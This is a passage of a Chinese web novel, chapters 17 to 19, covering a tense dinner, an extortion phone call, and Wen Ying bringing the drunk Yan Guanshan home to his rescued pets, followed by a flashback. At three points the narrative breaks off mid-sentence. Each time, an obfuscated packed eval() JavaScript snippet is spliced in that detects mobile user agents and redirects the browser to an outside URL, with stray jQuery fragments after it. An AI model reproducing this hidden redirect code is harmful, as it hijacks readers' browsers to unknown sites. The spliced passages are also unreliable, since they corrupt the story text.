“他……小橘也曾经想过被挽留。”晏关山打着只有他俩明白的哑谜。
闻影眼眸微闪,沉默不语。
晏关山:“你画的是遗憾,我说对了吗?”
闻影没忍住抬眸,一眼望进晏关山的心。
17.第 17 章
临近傍晚,许寰提议大家一起吃个饭,难得彼此都算是相熟,假期最后一天了,就当一起跨年。
闻影不愿意去。
费彦劝他:“我明儿就走啦,下次得春节才能回来,你不得给兄弟送送行?”
闻影站在展馆门口耷拉着脸:“我们仨自己去吃不就行了。”
“不好吧。”费彦一眼一眼瞟着不远处的晏关山,“晏哥都说了冲你来的,你们导员不也在,都是熟人,撇下他们自己去吃,不合适。”
闻影斜眼:“你什么时候变得这么人情世故了?”
“等你也当牛马你就知道了。”费彦老成地说,“况且这些人不是领导不是甲方,平时待你挺好的。”
闻影:“所以?”
“兄弟我现在长时间见不着你俩,不在的时候你俩有个玩的搭子,要遇上点儿事,不是还能找人帮忙么。”费彦诚恳道。
闻影没想到费彦能憋出这么一句,有点小感人,但他还是烦躁地表示:“我不想跟他俩吃。”
“只是吃个饭,我和费费陪着你呢。”边屹也在敲边鼓,说话时正好对上许寰的眼睛,对方冲他温和一笑,还眨了下眼睛,边屹愣了下马上接收到信号,同闻影咬耳朵说,“况且你俩本无缘,全靠他花钱,晏哥现在算不算得上你的金主爸爸?陪金主爸爸吃顿饭不是应该的吗?”
闻影脱口就骂:“老子是他爸爸!”
“好好好,那陪你儿吃个饭,人都为你豪掷千金了。”费彦在旁边哄,“而且我瞧着你导员像是跟晏哥不对付啊,我们仨要是不去,晏哥不是落单挨欺负了?”
“他挨欺负关老子屁事。”闻影犟头巴脑地说。
边屹有理有据:“你这个当爹的不管?”
也不是没道理。
闻影无奈道:“吃吃吃,吃死得了,吃完就走,谁要再他妈提议续摊我跟谁急。”
闻影倒不觉得凭苏淳能欺负晏关山,那不是还有许寰在呢,看样子许寰和晏关山关系不错,闻影能被劝动,单纯是不想苏淳跟别人说些有的没的。
许寰不愧是干行政岗的,很快就在附近订了一家饭店,一行人辗转到了地方坐下。
闻影情绪不高,只想吃完快点走人,他把费彦和边屹一左一右门神一样摁在座位,掏出手机打游戏。
边屹和费彦早就习惯他这样了,用手机逃避社交,消磨这无聊的时间,只是许寰第一次见他,边屹怕对方觉得被冒犯,低声解释:“许老师,闻影不善交际,这种场合他不习惯,你别介意啊,该吃该聊你们尽兴就好了。”
许寰一笑:“我不介意,他这性格还挺直爽的。”
边屹抿着唇有些不好意思:“许老师你别嫌我啰嗦,主要是以前这种饭局闹过不愉快,你人挺好的,和晏哥又是朋友,我才多嘴说这些。”
“闻影有你这么细心体贴的朋友,那他肯定也是个值得相处的人。”许寰拿过茶壶给边屹倒上水,“你怎么还叫我老师?”
“许哥。”边屹双手捧过茶杯抿了一口,觉得脸有点热。
“这就对了嘛。”许寰笑着说。
苏淳叫服务员拿了菜单,递给许寰:“你点菜吧。”
许寰笑着推给晏关山:“谁请客谁点。”
苏淳刚想说他请,晏关山就翻开菜单低着头问:“闻影,你想吃什么?”
闻影听见他叫自己大名,手滑按错技能,表演了一个闪现迁坟。他盯着变灰的手机屏幕闷闷道:“随便。”
苏淳插嘴:“红烧肉,再来个清蒸鲈鱼,还有油炝莲白,都是他喜欢吃的。”
晏关山儒雅随和地道:“好。”
闻影瞥了一眼苏淳,对方这样故意,他知道为什么。
就因为知道,冲着去的又是晏关山,他才觉得尤其刺耳。
闻影:“我只爱吃边妈做的。”
“边妈?”许寰挑眉,好奇地侧过脸看着边屹问,“这称呼挺逗,你喜欢下厨?”
费彦终于能说上话了,接话道:“我们仨高中就在一起,边妈那时候就会做饭,做得可好了,我俩吃他饭长大的。”
众人笑了起来,气氛活络了各自点菜点酒,苏淳叫人上的白酒,倒好分酒器放到晏关山面前:“第一次见,小酌几杯?”
晏关山倒了一杯碰了碰:“以后和贵院有合作,多联系,不过这杯酒是谢你。”
“哦?谢我什么?”苏淳问。
晏关山一副家属口吻:“这几年学业上对闻影的照顾。”
说罢他仰头喝尽,苏淳僵了僵:“我是导员,照顾他的学业是应该的。”
晏关山嘴边噙着一抹淡笑等他说。
苏淳突然想起来,在美院第一次见到这个男人的时候就觉得眼熟,又想不起何时见过,现下两个人坐在一起,近距离看到他微微侧过去的脸,那轮廓线条怎么看怎么熟悉。
他不止一次在闻影进行素描练习的时候,在那些他画了一张又一张的习作上看到过这张脸。
闻影藏在心里的某人。
苏淳想到这里,心绪起伏,忍不住地嫉妒。
苏淳低声说:“不过,我不止想照顾他的学业,生活和感情,只要能尽一份力,我也是心甘情愿的。”
都是成年人,听得懂话里什么意思,晏关山低头倒酒,一点不让:“其他的就不劳你费心了。”
“你是他什么人?你俩怎么认识的?”听见对方的家属口吻,苏淳没来由得有些生气,“看着也不是很熟啊,他一个成年人,工作学习感情生活,都是他自己的事儿,你也管不了。”
晏关山轻描淡写说:“他还没成年我就认识了,我俩在一起生活过一段时间,既然大他几岁,我很乐意也应该照顾他。”
苏淳不服输道:“大学这四年,我没听他提起过你,他也没交过……什么很亲近的朋友,你从哪儿冒出来的?”
晏关山反问:“边屹和费彦不算亲近的朋友?”
苏淳语塞,解释说:“不是这种朋友。”
“男朋友?”晏关山直白地问。
既然说到这里,有些事不必多言,苏淳和晏关山对上视线,苏淳坦然地点了个头。
晏关山再次把酒杯满上,举起和他碰杯,仰头喝下,才丢下一句:“你没戏。”
闻影和他们坐在正对面,对话听不清楚,只是夹菜的时候余光瞥见这俩小学鸡一直在倒酒喝酒喝酒倒酒,菜没吃几口,一瓶白的已经见底。
闻影没头没尾道:“谁要是喝多了在这吐一地,老子把他头打掉!”
斗酒二人组都是一愣。
苏淳下意识把酒杯放下,晏关山却很熟悉这种来者不善的关心,他心里飘飘然,尽量压着那点得意说:“今儿要是喝醉了,还能去你家吗?”
苏淳:“???”
闻影低头吃饭,边吃边说:“敢醉一个试试,直接给你扔桥洞去。”
就这一句都够了,闻影虽然不是故意说给苏淳听的,但话里的亲近比之和苏淳之间,隔了多大差距苏淳自己清楚,他太了解闻影的脾气性格了,关系不到那个火候,有些话难从他嘴里说出来,就比如听着难听,其实是关心和叮嘱。
闻影以前待苏淳也是这样的。
晏关山无意在言语上得意忘形,只默默吃饭喝酒,苏淳也消停了不少。
吃到一半手机响,闻影看了眼来电显示,借口去卫生间,出门接电话。
闻影开门见山道:“要多少?”
罗虎愣了下:“这么爽快?”
闻影:“磨磨唧唧这么几天老子都听见算盘声了,赶紧说,多少钱可以把事情了了。”
罗虎:“五十万。”
闻影瞪圆了眼睛:“你他妈——”
“别急,没说完呢。”罗虎打断他继续道,“五十万只是利息,本金你虽然还了,但利息是一分没给,老子不是做慈善,给利息是天经地义的吧?再有呢,你把老子坑进去这笔账得算,原本想卸你们一人一只手算完,但是那天也说好了,可以坐下来谈,钱到位,我就不跟你动刀动棍的。”
闻影听笑了:“找我要精神损失费啊?”
“啊,不然呢?”罗虎道,“凑个整,加上利息你给我一百万整,从此两清。”
闻影:“……你怎么不去抢银行?”
罗虎语气急起来:“少他妈啰嗦,给不给一句话!”
闻影顿了顿道:“我没那么多。”
罗虎油腻地调侃起来:“没有就去借,借不到就去抢,实在不行你和费彦那脸还能看,当鸭子当少爷也得把钱给我还上了。”
要不是知道这帮人的德行,一旦沾上就很难甩脱,会给费彦和他家带来无穷无尽的后患,闻影早就撕破脸干他丫的了,他深吸了好几口气把怒火压下去,闷闷地说:“那我想想办法再联系你。”
听见对方立马服软罗虎显然有些吃惊,他顿了顿道:“你可别再跟老子使诈,反正都进去过一次了,老子现在天不怕地不怕,你要敢动别的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182958|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思,不止你,费彦那小子一家都别想消停,还有你那朋友,看着像个有钱人,找不着你老子找他去。”
闻影眼神一暗:“知道了。”
罗虎威胁完满意地挂了电话,闻影站在外头抽了根烟,这个电话在他意料之内,金额多少无所谓,只是听见费彦的家人和晏关山的名字时,他神经又绷紧起来,他烦躁地随意抽了几口,摁灭扔进垃圾桶,狠狠下了个决心。
包厢里比他出来前还要热火朝天。
大家都不在原先的位子上,许寰正拉着苏淳划拳,都喝得满面通红,晏关山则坐在闻影的座位上,边屹和费彦把他夹在中间,在轮流鼓掌。
闻影:“……”
三个弱智。
这俩货在和晏关山玩“三空”,喝酒的小游戏,喊数字,三和三的倍数不能出声用鼓掌代替,喊错得喝酒。
闻影站到他们身后观赏了半天,边屹闻见一股淡淡的烟草味,抬头一看:“来一起吗?”
“不玩儿。”闻影拉了张凳子在边屹旁边坐下,“上回是谁热菜都没吃上人就无了,你们仨玩这个,是打算横着出去?”
边屹退出战斗,回头跟闻影小声说:“不是费费想这个办法把晏哥骗过来,他和苏淳两个人至少得翻一个。”
谁都看得出来两人不对付,越喝气氛越不对劲,边屹虽不明白原因,但担心这么喝下去场面变得难看,万一打起来,一边是导员一边是金主,闻影夹在中间肯定难做,还好有个人和他想法一样。
许寰和边屹对上眼神,瞬间心领神会,于是一边带走一个。费彦跟人扯了半天闲篇,奈何晏关山已经喝上头了,非要找酒喝,费彦索性顺着他意思,教他玩三空。
一开始费彦想得挺好,晏关山自己说的很少喝酒,酒桌上的游戏一个都不会,费彦就想随便教他一个,让他一直赢,那就喝不到酒了。
边屹打了个酒嗝,捂着发烫的脸说:“现在不是我们想不想赢的问题,是根本就赢不了。我是喝不动了,费费还能顶一会儿。”
闻影嗤笑:“跟好学生玩脑子,你俩是真的勇。你家玉高展板上现在还挂着他照片呢。”
“我说怎么看着有些些眼熟。”边屹吸了口气,“不会还是个状元吧?”
闻影点了下头。
边屹瞪大眼睛:“那他怎么会做了兽医啊?”
“兽医怎么了?”闻影奇怪道。
“你一个艺术生你不知道正常。”边屹委婉地表示,“他学理科的吧,都状元了,不是清北随便去?总觉得学兽医……屈才了。”
“你管呢。”闻影看了晏关山一眼,喝麻了都,傻不愣登的模样,玩个破游戏认真得像是在考试,闻影猜测,“他自己喜欢。”
边屹吸了吸鼻子:“你怎么跑出去抽烟了?有事儿?”
闻影:“……没事。”
“哦。”边屹拿纸巾擦擦嘴,“你不是只有心烦的时候才抽烟嘛。”
看到闻影就坐旁边,晏关山输了一把,正要拿酒喝,一只手按在了杯口。闻影看着别处:“有完没完啊,走了!”
费彦迷迷瞪瞪地瞪了他一眼,我输的时候怎么不见你打岔?
晏关山很听话地收回手:“好,不喝了。”
“费彦。”晏关山按了按费彦的肩膀,“欠你这杯酒下次再喝。”
费彦大着舌头说:“我马上回工地了晏哥。”
“你回来再聚。”晏关山笑着说,“咱说好了?”
费彦:“好嘞,还得是我晏哥!”
饭局散场,除了闻影,其他几个人都喝得有点上头,尤其苏淳和晏关山,苏淳已经需要许寰扶着,摇摇晃晃地说着什么。晏关山还是老样子,看上去像是没事,但闻影感觉得到,但凡能找到个东西靠着,晏关山能立马闭眼昏死过去。
许寰扶着苏淳道:“闻影,我送苏淳回去,老晏就麻烦你送一下了?”
闻影:“……”
见他不答话,许寰笑着试探:“不然你送苏淳?我管他。”
“我管。”闻影想都没想。
许寰忍笑,掏出手机和闻影加上微信,把晏关山的住址发过去:“苏淳送到家我跟你说一声。”
闻影木木地“嗯”了声。
“边屹,费彦,来一起走吧,回学校顺路,我一起送你们了。”许寰把人都薅上车,关上门听见闻影难得地喊了他一声“许哥”。
闻影扶着晏关山站在门边,顿了顿不太熟练地说:“谢谢。”
18.第 18 章
闻影把晏关山塞进后座,跟师傅说了地址,便一路沉默。
晏关山又趴在他腿上睡着了,闻影吸取教训没再把人弄醒,不然叽里咕噜说一堆怪话,他没耐心应付。
出租车开了大约一个多小时才到地方,这片是富人区,小区不让出租车进,闻影只好把人弄醒扶进去。
小区里很安静,两旁都是修整精致的植物,每一栋别墅都有一个很大的院子,闻影不禁好奇,当年那个穷困潦倒到需要他接济的小兽医,这六年到底得多拼,才能过上这样的生活。
他吃了很多苦吗?
不过这关老子屁事!
“我家在 B 区 12 栋。”走着走着晏关山突然出声。
闻影看了眼旁边的门牌号:“我知道,马上到了。”
“你怎么会知道?”晏关山转过脸靠近他,“也打听过我?”
闻影翻了个白眼:“老子没那兴趣!等会儿,什么叫也?”
晏关山失落地扭过头:“没什么,只有我是变态。”
神经。
闻影站定:“到了,开门。”
晏关山在铁门旁输入密码开锁,闻影跟着他进去,想等他进屋开了灯就走,结果屋门刚开,闻影裤腿被什么东西蹭了一下,旋即他听见一声低吼,声音不大但是骇人,是发自野兽喉咙那种恫吓敌人的嗓音。
闻影喊了声“卧槽”跳着往一旁躲开。
晏关山把廊下的灯打开,闻影惊魂未定地看着面前的庞然大物。
长嘴尖耳,一身银灰色的厚毛,四条长腿稍稍往下压着都越过大腿一半,深褐瞳孔死死瞪过来,喉咙还在发出那种声音。
闻影吓一跳:“……你养狼?!”
晏关山懵了下,闷闷地笑了下:“是狗,它叫皮皮。”
听见主人喊它,皮皮一面警惕地盯着不速之客,一面一屁股坐下,大尾巴摇个不停。
在撒娇和唬人之间反复试探,有点割裂。
闻影打量着狗子,觉得还挺酷的。
晏关山打开玄关的灯,侧着身道:“喝杯水再走。”
“不喝。”闻影和皮皮对质着,“看你进去我就回了。”
“我一个人住。”晏关山左思右想道,“进来认认家门,趁我还清醒着,就一会儿,还要请你帮个忙。”
闻影皱眉:“屁事真多,还干嘛?”
晏关山背靠着门:“你先进来。”
闻影叹了口气,只好跟着进了屋。
晏关山的家装修得很简洁,虽然闻影不知道其他富人的豪宅长什么样,但不见水晶吊灯和镶钻的丝绒沙发,没有冷冰冰的大理石地砖,他内心就给晏关山的审美打了个及格分。
家里收拾得很整洁,整洁到有些没有人气,闻影还记得以前那个小租屋,他负责搞得乱七八糟,晏关山总是默默地跟在屁股后头收拾。
刚在沙发上坐下,一只瘸脚猫摇晃着身体走到闻影脚边,闻了闻他的裤脚,屁股一转往他身上贴了贴。
闻影忍了一秒,没忍住,一把将猫捞到怀里狂揉。
晏关山去冰箱里拿了几瓶水放过来,见闻影对猫咪爱不释手,说:“还有好几只,去找找看。”
闻影沉迷撸猫,低着头问:“它叫什么?”
晏关山:“阿炳。”
闻影嫌弃:“啊?”
晏关山言简意赅:“眼睛瞎的。”
闻影抱着猫头看了半天,少见地对什么事物流露出怜爱和温柔。
晏关山赞赏地看了眼瘸脚的阿炳,灵机一动,从茶几下面抽出几袋猫条。
晏关山张口就来:“我一天没在家,它们还没吃饭,帮忙喂下猫?我去喂狗。”
说完还此地无银地补了句:“趁着还清醒。”
“你不用反复强调。”闻影揶揄,“演过了吧。”
晏关山木愣愣地放下猫条去院子管皮皮。他没反驳,演是有一点的,醉占了大多数。
闻影是喜欢猫,准确来说,他是喜欢一切流浪在外的动物。既喜欢它们自由自在,也可怜它们自由自在。
自由到风餐露宿,吃完东家饭吃西家的,随便跟哪儿都能对付一宿,谁对它们好,都记得,下次不管在哪遇到,摇尾巴翻肚皮,没讨到吃的会很失落。
最好遇到心软的神收留,从此有个家,吃饱穿暖相伴到死。最坏也不过这样流浪一辈子,死于车流,死于坏人毒手,死于严寒,流浪的终点是无所依靠,那么孤独。
所以阿炳是个幸运的崽子。
遇到了一个心软的……变态。
闻影喂完一根猫条,把阿炳放下又去寻找其他的猫,房子太大,晏关山又没说在哪里,在别人家里闲逛总是不太好,闻影便蹲在客厅中间撕扯猫条袋子,不多时,闻见味道的猫咪吧嗒吧嗒跑过来。
不止一只,从某间开着门的房间陆续跟出来的,闻影想了会儿决定进去。
开了灯,这间用大卧室改造出来的猫屋霎时热闹非常,一整面墙都做了猫爬架,猫咪睡觉的地方是敞开的,进出自由,看到生人进来,几只观望了片刻,等闻影在它们的饭盆里都挤好猫条,猫咪已全数围到了闻影旁边,用屁股蹭他。
闻影盘腿一坐,看着猫咪吃饭很解压。
他数了一下,不知道是不是所有的猫都在这了,加上阿炳有十二只,晏关山还养了狗,不知道养了几只,这种数量一天光照顾动物就得花费不少时间精力。
而且就目前情况来看,晏关山养的猫都缺零少件的,不是瞎就是瘸,还有半瘫身子装着移动支架的,照顾起来难度加倍。闻影不难想象这些猫的来处,想必是宠物医院救治下来的流浪动物,因身体残疾和护理费用高昂,没有人愿意收养,晏关山就当了接盘侠。
啧。
怪有爱心的咧。
喂完猫,把腿脚不便的抱回窝里放好,闻影才起身回客厅,晏关山还不见人影,他不禁纳闷,这人不会连狗也养了十几条吧喂这么老半天。
“你好了没啊?”闻影出声问。
声音在空旷的客厅里回荡,没人回答他。
“还有没有什么破事要做,赶紧说。”闻影骂骂咧咧地往外走,推开门道,“老子要回——晏关山?”
晏关山单脚支棱着腿,背靠花园里的木凳,就这么坐在草地上一动不动。
那只叫皮皮的大狼狗趴在他横着的腿上,歪着脑袋看向闻影。
“晏关山。”闻影又喊了一声,依旧没答应他。
闻影和皮皮对视了几秒,狗子一开始听见人出来是直起身子的,但从家里出来的人,是自己人,它很快又趴下去,睁着无辜的大眼睛,像是在卖萌。
闻影咽了下口水,最终还是走了过去。
晏关山微微侧着身子,一只手支着木凳撑着脑袋,一只手还抓着皮皮的饭盆,闻影蹲在他旁边,感觉到对方渐渐沉下去的呼吸,已经睡着了。
闻影:“……”
再喝醉老子真给你头打掉!
闻影把饭盆放到一边,扯着衣服喊了几次名字,对方都毫无反应,于是他试探地摸了摸皮皮的狗头,皮皮出人意料的乖巧,每摸一下,两只耳朵还动一动。
“皮皮?”闻影试着叫它名儿,看见有反应,便命令,“把你爹咬醒。”
皮皮听不明白,歪着头看他。
闻影使坏:“咬他。”
皮皮:“汪!”
闻影也“汪”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199939|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮皮:“汪汪!”
闻影:“汪尼玛——这么重一人老子怎么扛?!”
也不是不能扔在花园,反正都到家了,是你自己要喝的,没人逼你,把你送回来已经仁至义尽。
闻影这么想着就站了起来,刚走到花园门口,电话响了。
费彦:“就跟你说一声,我和边妈各回各家了,你那怎么样,晏哥没事儿吧?”
“没事,他喝多了,现在睡在自家花园里。”闻影嫌弃地说。
费彦失笑:“他说不会玩游戏我还当是诓我们的,看来平时确实不喝酒,不喝怎么还跟你导员杠上了?”
闻影打岔:“打电话来干嘛?”
费彦道:“我又攒了些钱,能还你一部分,不多,就五千,微信转你。”
闻影:“不要,你妈看病还用钱,我这不急。”
费彦:“我就知道你会说这个才特地打电话来的,我妈那边的钱我存着呢,够用,加上我爸得空就去开网约车,有收入,家里情况比以前好。你给我扛了那么大一事儿,我好不容易攒点儿,收下吧,多的我也没有。”
闻影依旧拒绝:“过年花钱的地方还多。”
“我都留出来了。”费彦坚持道,“你不收,我哪来的盼头,你当是我的心意,别墨迹。”
闻影退了一步:“行。”
费彦:“明天我一早的车,你和边妈都别来了,过年再聚吧,没别的我挂了啊,晏哥是不是还搁花园躺着呢,赶紧把人弄回屋啊。晏哥这人能处,你可别把人扔——”
“咸吃萝卜淡操心。”闻影打断对方,粗暴道,“挂了!”
这花园铁门终究是没迈出去。
闻影又回来,决定冲阿炳的面子,稍微管一下它爹。
晏关山毕竟是一米八几的大个儿,喝醉的人死重死重,闻影又缺了只手,废了九牛二虎之力才好不容易将人拖进客厅,泄愤似的把晏关山往沙发上一扔,闻影有些脱力地坐在茶几上大喘气。皮皮看他动作粗鲁,喉咙里又发出唬人的声音。
“不许凶……”这一下把晏关山砸得将醒未醒,他依旧闭着眼嘟哝,“他回来了,你……认认人。”
“什么?”闻影弓着腰想听清楚些。
晏关山含含糊糊说:“你老大。”
“扯的什么犊子。”闻影扯住他的手,不耐烦地拍拍拍,“醒醒,回你卧室睡去。”
皮皮呲牙又不敢咬,便用脑袋去蛄蛹闻影的手,过程中毛茸茸的狗毛扫在晏关山的手上,他迷迷糊糊抬起手按过去,按了一把狗头,滑到闻影的手腕上,顺势轻轻握住。
闻影霎时就僵硬了。
晏关山微微睁开眼,完全不能聚焦:“不能咬你老大。”
闻影莫名其妙:“谁特么是老大啊。”
晏关山嘴巴动了一下,闻影没听清,凑过去又问一遍:“谁是老大?”
“毛毛。”晏关山轻轻眨了下眼。
晏关山眸光盯着虚空某处出神,喝醉的人脑子是晕的,嘴巴也是木的,情绪放大记忆混乱,以至于闻影现在看不到他在酒桌上那言笑晏晏的样子,那样子闻影知道是端出来的,私下里的晏关山不是那么爱说话,心里有事儿很难说出口,憋着,一憋就把自己封闭起来,像有一团低气压笼罩着他。
能生猛地撕开他坏情绪的只有闻影。
就这喝醉了神似在emo的模样闻影可太熟悉了,他忍不住问:“你的宠物医院叫毛毛,你家狗老大也叫毛毛?”
晏关山叹气。
闻影眸光微动,不承认自己很好奇,故意不耐烦地追问:“是哪个毛毛?”
晏关山撑不住酒意闭上眼,嘟哝着喊他名字“景三儿”。
19.第 19 章
“我小名叫毛毛。”
“不准告诉别人,就你一人知道。”
“哈,我外婆取的,你呢?你有小名吗?”
晏关山一边摇头,一边认认真真地用热水烫那些碗碟,闻影半个头缩在羽绒服里,两手揣进袖子,瞪了他半天判断:“你不想告诉我。”
“没有。”晏关山道。
“你就是不想。”闻影说,“我都跟你说了个自己的大秘密了,你不得拿个跟我交换?”
“小名是大秘密?”晏关山看他一眼,带着点无语。
闻影理直气壮:“我说是就是。”
晏关山:“我没小名。”
“你家老人小时候也喊你大名啊?”闻影奇怪道,“那你爸妈也喊你大名?”
那时候闻影正在和晏关山熟络起来,回家或是上学的必经之路上是对方工作和念书的地方,离得近,让闻影这个读书可去可不去家也可回可不回的人多了个去处。
他一开始确实是报着感谢晏关山的心思去接触的,饭吃了好几回,又等晏关山一起宵夜,中间换药一次,打架一次,两次留宿晏关山租的房。短时间内密集的日常相处,让半生不熟的两个人很快亲近起来,成了朋友。
闻影不是个爱交朋友的社牛,晏关山就更不是了,但在晏关山这个孤寡男大面前,闻影的活泼潇洒成了撬动他俩关系的那根杆,只要闻影撬,晏关山就动一下。晏关山并不排斥交朋友这件事,他只是不会,如果交朋友的对象是闻影,以当下他俩的状态来说,他是会期待的。
这个过程中,闻影对晏关山保持着三百六十度无死角的好奇,随便扯句闲篇,都能联想到晏关山身上,想从他这里挖一点更细节更私隐的故事,只跟晏关山这个人有关的故事。
可晏关山并不想多聊自己的家庭,不论是老人还是父母,不管闻影在什么语境下提到这些身份的人,晏关山都闭口不谈。
“不说拉倒。”闻影气鼓鼓地道。
晏关山没说话,把烫好的碗碟放在闻影面前,倒了一杯热茶推过来。
闻影嫌弃说:“这老荫茶喝了容易拉肚,我不爱喝。”
晏关山瞥他一眼:“给你捂手的。”
这样,闻影的毛就给捋顺了,他把手从袖子里伸出来,捂那小小茶杯上,看晏关山烫他自己的碗碟。
关于烫碗碟这事儿,从闻影第一次带晏关山来烧烤摊吃饭,他就笑话过,问他是哪个豪门里跑出来的少爷,穷成这样了还要讲究。晏关山理直气壮地认为讲究卫生不是毛病。
但上来热腾腾的烤串放着不吃搁那慢条斯理地烫碗,闻影实在就忍不了,问他:“你知道苍蝇馆什么意思吗?”
“知道。”晏关山答。
闻影又问:“那好不好吃?”
这家烧烤摊闻影不止打包带回家给他吃过,带他来这儿也吃了好几次了。晏关山诚实地说:“好吃。”
“既然好吃你管他干净不干净呢。”闻影这方面比较粗糙,最多也就拿张纸擦擦桌意思意思,他说,“趁热赶紧的别墨迹,烫不烫的也不见你吃了闹肚子啊。”
晏关山强调:“你会闹肚子。”
闻影刚叼下一口肉说:“我今天不得闹肚子。”
“闹肚子还能自己挑时间?”晏关山不经意总会怼一下。
闻影拍桌,凶巴巴的:“你吃不吃!”
“吃。”晏关山拿起来也咬一口。
闻影不是真的嫌弃晏关山这些小毛病,爱讲究有少爷包袱不是缺点,只是以他眼下的经济条件生存状况来说,少些包袱能活得轻松些,闻影想法很简单,让晏关山多接点地气,不会的学,不接受的去适应,闻影不知道晏关山家境到底如何,但他经济状况紧张成这样了生活技能还是0,闻影猜测他或许从小在家就是被惯着长大的,到大学得自力更生,所以才捉襟见肘。
晏关山放了学要继续兼职,往往下班都是深夜了,闻影会等他,起初晏关山也说过不用特意等,见闻影老是饿着肚子杵在路边玩手机一玩一两个小时,晏关山会过意不去,可闻影说:“没人陪我吃饭啊,不等怎么办?”
晏关山不理解:“一个人不能吃吗?”
“不香。”闻影理所当然道,“吃着没劲。”
晏关山:“可我下班没准数,以后我尽量……”
“我又不天天来。”闻影打断他,“你上你的,遇到就一起搭伙吃,遇不到算球。”
晏关山提议:“下次你进来等。”
“不要。”闻影皱起鼻子,“一股消毒水味儿,不爱闻。”其实他怕打扰晏关山上班,毕竟小小实习生,惹点麻烦工作再丢了,不得喝西北风去了?
其实等人没什么,闻影确实不喜欢一个人吃饭,没条件的时候一个人吃也就罢了,这有条件找搭子,就不乐意自己吃。况且这搭子好玩儿啊,闻影说不上来那种感觉怎么形容,晏关山本来是个和自己毫无交集的人,而且这人外面罩着一层坚硬冰冷的壳,以至于芯子是冷是热有趣还是无趣都让人无从发掘,但逗他逗得多了,挨一块儿处得久了,这些冷冷硬硬的壳会自己裂开缝隙,冷不丁透一丝热气出来,缠住闻影。
闻影就知道,晏关山不擅长表达,也没什么心眼,他是个行动大过形式的人,闻影能从这样一个木讷又寡言的人身上,感受到对方交付给自己的信任,一天比一天多,他的好也是。
晏关山放下筷子,主动去老板那儿要了两碗葱花汤,给闻影的那晚葱都铺满汤面儿了,他放在闻影手边,抬着自己那碗慢慢喝。
闻影问他:“管子买了没?”
晏关山:“今天太忙了,一会儿回去的时候顺路买,五金店应该还开吧?”
“不开就换一家,只是远点儿。”闻影搓搓手,吃饱饭浑身都热起来了,他道,“忘了叫你再买俩地漏,也得换,我看都朽了,指不定哪天就堵,一会儿我跟你去买吧。”
“好。”晏关山说,“那你再想想还缺什么,一齐买了。”
晏关山租的老破小今天这里坏明天那里漏,都是小毛病,但不修闹心,总修也闹心,闻影给晏关山换过一次管子和水龙头,边修边教,晏关山自己上手也会了,但架不住毛病千奇百怪,两个人在五金店买了不少东西回去,闻影查缺补漏把能换的都换了一遍。
晏关山在旁边递东西打下手,忍不住问他:“你怎么什么都会?”
闻影猫着腰趴在地上清理厨房的下水管洞,闻言笑出声:“是你会的太少,晏大少爷。”
“让我来吧。”晏关山递过去一块温热的毛巾。
“干嘛?”闻影挑眉,“说你一句不服气,要显给我看看?”
晏关山晃晃毛巾:“不是。”
闻影就喜欢逗他:“那是啥?”
晏关山:“没有。”
闻影翻了个白眼:“又开始挤牙膏了。”
晏关山就是心里过意不去,毕竟这是自己租的房子,脏活累活全是闻影干的,可他又说不出口。
“不好意思是吧?”闻影继续趴回去,麻利地收拾好水管,试了试顺畅了,才说,“今儿晚了,我在这对付一宿,你要过意不去给我冲个方便面呗。”
晏关山:“方便面吃多不好。”
闻影头一歪:“那你会煮别的?”
晏关山噎了一下:“我冲好叫你。”
留宿晏关山家已经不知不觉中成了一件极其自然的事,尽管一开始晏关山老大不乐意又不好意思赶人,闻影看得出来,对方的边界感比自己还要严重得多,但架不住闻影脸皮厚又总是出这样那样的小状况,比如时间太晚了,比如某人身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223103|146837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上有伤要处理,比如搭伙吃夜火锅,比如晏关山熬夜学习一不注意沙发上的人已经睡着了。
所以这个家里渐渐多了一些闻影的东西,洗漱用品是晏关山给他准备的,洗了澡出来,闻影发现又多了一双浴室用的拖鞋,闻影面上没说什么,可心里莫名高兴,有人特意给你准备专属使用的东西,就是晏关山这大冰坨从裂缝里透出来的热气。
“哟。”闻影盯着铺在方便面上的两枚煎蛋,问了句废话,“你煎的啊?”
晏关山说:“快吃吧。”
“出息了,会煎蛋了呢少爷。”闻影嘴不饶人,吃起来却不含糊,大口吸溜,三两下吃空碗底,窝在沙发上揉肚皮。
晏关山在卧室里不知道捣鼓什么,闻影半天听不见动静,问他:“你又赶作业啊?”
“没有。”隔了会儿晏关山从里头出来,抱了一大床被褥还有一个枕头,崭新的,枕套被套透着股淡淡的洗衣粉香。
闻影见他把东西放在沙发上,愣了下:“你还有被子盖吗?”
晏关山被问得有点懵:“有啊,这新买的一套。”
